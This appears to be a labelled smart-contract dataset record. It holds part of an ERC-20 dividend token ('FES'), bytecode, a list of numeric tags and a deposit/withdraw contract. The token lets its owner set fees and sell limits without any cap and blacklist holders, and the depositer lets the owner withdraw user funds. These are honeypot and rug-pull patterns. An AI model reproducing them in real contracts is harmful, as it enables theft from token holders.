uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } function setFee(uint256 _ethRewardFee, uint256 _liquidityFee, uint256 _marketingFee) public onlyOwner { ETHRewardsFee = _ethRewardFee; liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFees = ETHRewardsFee.add(liquidityFee).add(marketingFee); // total fee transfer and buy } function setExtraFeeOnSell(uint256 _extraFeeOnSell) public onlyOwner { extraFeeOnSell = _extraFeeOnSell; // extra fee on sell } function setMaxSelltx(uint256 _maxSellTxAmount) public onlyOwner { maxSellTransactionAmount = _maxSellTxAmount; } function setMarketingWallet(address payable _newMarketingWallet) public onlyOwner { marketingWallet = _newMarketingWallet; } constructor() ERC20("FEStoken", "FES") { ETHRewardsFee = 0; liquidityFee = 0; extraFeeOnSell = 0; // extra fee on sell marketingFee = 0; marketingWallet = payable(0x8ac2b8bbA1e03c224A557E77e180Bd43E83B9aB1); totalFees = ETHRewardsFee.add(liquidityFee).add(marketingFee); // total fee transfer and buy dividendTracker = new FESDividendTracker(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); // exclude from receiving dividends dividendTracker.excludeFromDividends(address(dividendTracker)); dividendTracker.excludeFromDividends(address(this)); dividendTracker.excludeFromDividends(owner()); dividendTracker.excludeFromDividends(address(_uniswapV2Router)); dividendTracker.excludeFromDividends(0x000000000000000000000000000000000000dEaD); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(marketingWallet, true); excludeFromFees(address(this), true); // exclude from max tx _isExcludedFromMaxTx[owner()] = true; _isExcludedFromMaxTx[address(this)] = true; _isExcludedFromMaxTx[marketingWallet] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), 100000000000000000 * (10**18)); } receive() external payable { } function updateUniswapV2Router(address newAddress) public onlyOwner { require(newAddress != address(uniswapV2Router), "FES: The router already has that address"); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); } function excludeFromFees(address account, bool excluded) public onlyOwner { require(_isExcludedFromFees[account] != excluded, "FES: Account is already the value of 'excluded'"); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setExcludeFromMaxTx(address _address, bool value) public onlyOwner { _isExcludedFromMaxTx[_address] = value; } function setExcludeFromAll(address _address) public onlyOwner { _isExcludedFromMaxTx[_address] = true; _isExcludedFromFees[_address] = true; dividendTracker.excludeFromDividends(_address); } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFees[accounts[i]] = excluded; } emit ExcludeMultipleAccountsFromFees(accounts, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "FES: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function setSWapToensAtAmount(uint256 _newAmount) public onlyOwner { swapTokensAtAmount = _newAmount; } function blacklistAddress(address account, bool value) external onlyOwner{ _isBlacklisted[account] = value; } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "FES: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; if(value) { dividendTracker.excludeFromDividends(pair); } emit SetAutomatedMarketMakerPair(pair, value); } function updateGasForProcessing(uint256 newValue) public onlyOwner { require(newValue >= 200000 && newValue <= 500000, "FES: gasForProcessing must be between 200,000 and 500,000"); require(newValue != gasForProcessing, "FES: Cannot update gasForProcessing to same value"); emit GasForProcessingUpdated(newValue, gasForProcessing); gasForProcessing = newValue; } function updateClaimWait(uint256 claimWait) external onlyOwner { dividendTracker.updateClaimWait(claimWait); } function getClaimWait() external view returns(uint256) { return dividendTracker.claimWait(); } function getTotalDividendsDistributed() external view returns (uint256) { return dividendTracker.totalDividendsDistributed(); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function isExcludedFromMaxTx(address account) public view returns(bool) { return _isExcludedFromMaxTx[account]; } function withdrawableDividendOf(address account) public view returns(uint256) { return dividendTracker.withdrawableDividendOf(account); } function dividendTokenBalanceOf(address account) public view returns (uint256) { return dividendTracker.balanceOf(account); } function getAccountDividendsInfo(address account) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccount(account); } function getAccountDividendsInfoAtIndex(uint256 index) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccountAtIndex(index); } function processDividendTracker(uint256 gas) external { (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas); emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin); } function claim() external { dividendTracker.processAccount(payable(msg.sender), false); } function getLastProcessedIndex() external view returns(uint256) { return dividendTracker.getLastProcessedIndex(); } function getNumberOfDividendTokenHolders() external view returns(uint256) { return dividendTracker.getNumberOfTokenHolders(); } //this will be used to exclude from dividends the presale smart contract address function excludeFromDividends(address account) external onlyOwner { dividendTracker.excludeFromDividends(account); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _transfer( address from, address to, uint256 amount ) open(from, to) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_isBlacklisted[from] && !_isBlacklisted[to], 'Blacklisted address'); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromMaxTx[from]) && (!_isExcludedFromMaxTx[to])){ require(amount <= maxSellTransactionAmount, "Sell transfer amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && !automatedMarketMakerPairs[from] && swapAndLiquifyEnabled ) { swapAndLiquify(contractTokenBalance); } // if any account belongs to _isExcludedFromFee account then remove the fee if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 fees = (amount*totalFees)/100; uint256 extraFee; if(automatedMarketMakerPairs[to]) { extraFee =(amount*extraFeeOnSell)/100; fees=fees+extraFee; } amount = amount-fees; super._transfer(from, address(this), fees); // get total fee first } super._transfer(from, to, amount); try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {} try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {} if(!inSwapAndLiquify) { uint256 gas = gasForProcessing; try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) { emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin); } catch { } } } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // take liquidity fee, keep a half token // halfLiquidityToken = totalAmount * (liquidityFee/2totalFee) uint256 tokensToAddLiquidityWith = contractTokenBalance.div(totalFees.mul(2)).mul(liquidityFee); // swap the remaining to BNB uint256 toSwap = contractTokenBalance-tokensToAddLiquidityWith; // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(toSwap, address(this)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered uint256 deltaBalance = address(this).balance-initialBalance; // take worthy amount bnb to add liquidity // worthyBNB = deltaBalance * liquidity/(2totalFees - liquidityFee) uint256 bnbToAddLiquidityWith = deltaBalance.mul(liquidityFee).div(totalFees.mul(2).sub(liquidityFee)); // add liquidity to uniswap addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith); // worthy marketing fee uint256 marketingAmount = deltaBalance.sub(bnbToAddLiquidityWith).div(totalFees.sub(liquidityFee)).mul(marketingFee); marketingWallet.transfer(marketingAmount); uint256 dividends = address(this).balance; (bool success,) = address(dividendTracker).call{value: dividends}(""); if(success) { emit SendDividends(toSwap-tokensToAddLiquidityWith, dividends); } emit SwapAndLiquify(tokensToAddLiquidityWith, deltaBalance); } function swapTokensForEth(uint256 tokenAmount, address _to) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); if(allowance(address(this), address(uniswapV2Router)) < tokenAmount) { _approve(address(this), address(uniswapV2Router), ~uint256(0)); } // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, _to, block.timestamp ); } function swapAndSendBNBToMarketing(uint256 tokenAmount) private { swapTokensForEth(tokenAmount, marketingWallet); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
0x73f32c805c81cdfebbec6939427120fd3a6e08f1a4301460806040526004361061006c5760003560e01c806317e142d1146100715780634c60db9c14610097578063732a2ccf146100b9578063bc2b405c146100e6578063d1aa9e7e14610106578063deb3d89614610131575b600080fd5b61008461007f366004610414565b610143565b6040519081526020015b60405180910390f35b8180156100a357600080fd5b506100b76100b2366004610414565b610191565b005b6100846100c7366004610414565b6001600160a01b03166000908152600191909101602052604090205490565b8180156100f257600080fd5b506100b761010136600461043f565b6102f6565b610119610114366004610473565b61039f565b6040516001600160a01b03909116815260200161008e565b61008461013f3660046103fc565b5490565b6001600160a01b038116600090815260038301602052604081205460ff1661016e575060001961018b565b506001600160a01b03811660009081526002830160205260409020545b92915050565b6001600160a01b038116600090815260038301602052604090205460ff166101b7575050565b6001600160a01b03811660009081526003830160209081526040808320805460ff191690556001808601835281842084905560028601909252822054845490929161020191610494565b9050600084600001828154811061022857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0390811680845260028901909252604080842087905590871683528220919091558554909150819086908590811061028557634e487b7160e01b600052603260045260246000fd5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905584548590806102cd57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050505050565b6001600160a01b038216600090815260038401602052604090205460ff161561033b576001600160a01b03821660009081526001840160205260409020819055505050565b6001600160a01b03821660008181526003850160209081526040808320805460ff19166001908117909155878101835281842086905587546002890184529184208290558101875586835291200180546001600160a01b0319169091179055505050565b60008260000182815481106103c457634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03169392505050565b80356001600160a01b03811681146103f757600080fd5b919050565b60006020828403121561040d578081fd5b5035919050565b60008060408385031215610426578081fd5b82359150610436602084016103e0565b90509250929050565b600080600060608486031215610453578081fd5b83359250610463602085016103e0565b9150604084013590509250925092565b60008060408385031215610485578182fd5b50508035926020909101359150565b6000828210156104b257634e487b7160e01b81526011600452602481fd5b50039056fea26469706673582212204726753e1814c51ac860c05c86da1e69b2cad5ce3b31b93408a141f997617fbc64736f6c63430008040033
[ 4, 11, 12, 13, 16, 5 ]
0xf32cbb9dd78Fb1a1025AD79304238c2E31F2b57E
// SPDX-License-Identifier: MIT // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v3.4.2 pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/SafeMath.sol@v3.4.2 pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/Address.sol@v3.4.2 pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/SafeERC20.sol@v3.4.2 pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts/utils/Context.sol@v3.4.2 pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v3.4.2 pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/Depositer.sol pragma solidity ^0.7.6; pragma abicoder v2; contract Depositer is Ownable { using SafeERC20 for IERC20; address private bouncer; IERC20 public immutable moovContract; bool public active; mapping(address => uint256) public totalWithdrawn; constructor(IERC20 _moovContract) { moovContract = _moovContract; bouncer = msg.sender; } /* /* Users */ event Deposit(address indexed userAddress, uint256 amount); function deposit(uint256 _amount) external { require(active, "dotmoovs payments are not active"); require(_amount > 0, "Deposit amount must be positive"); moovContract.safeTransferFrom(msg.sender, address(this), _amount); emit Deposit(msg.sender, _amount); } event Withdraw(address indexed userAddress, uint256 amount); function withdraw( uint256 _newTotalWithdrawn, uint8 _v, bytes32 _r, bytes32 _s ) external { require(active, "dotmoovs payments are not active"); bytes32 messageHash = keccak256( abi.encodePacked(address(this), msg.sender, _newTotalWithdrawn) ); require( bouncer == ecrecover( keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", messageHash ) ), _v, _r, _s ), "Invalid signature" ); uint256 userTotalWithdrawn = totalWithdrawn[msg.sender]; require(_newTotalWithdrawn > userTotalWithdrawn, "Message replay"); totalWithdrawn[msg.sender] = _newTotalWithdrawn; uint256 amountToTransfer = _newTotalWithdrawn - userTotalWithdrawn; moovContract.safeTransfer(msg.sender, amountToTransfer); emit Withdraw(msg.sender, amountToTransfer); } /* /* Owner */ function setBouncer(address _bouncer) external onlyOwner { require(_bouncer != address(0), "Bouncer can't be the zero address"); bouncer = _bouncer; } function toggleActive() external onlyOwner { active = !active; } function withdrawFunds(uint256 _amount) external onlyOwner { moovContract.safeTransfer(msg.sender, _amount); } }
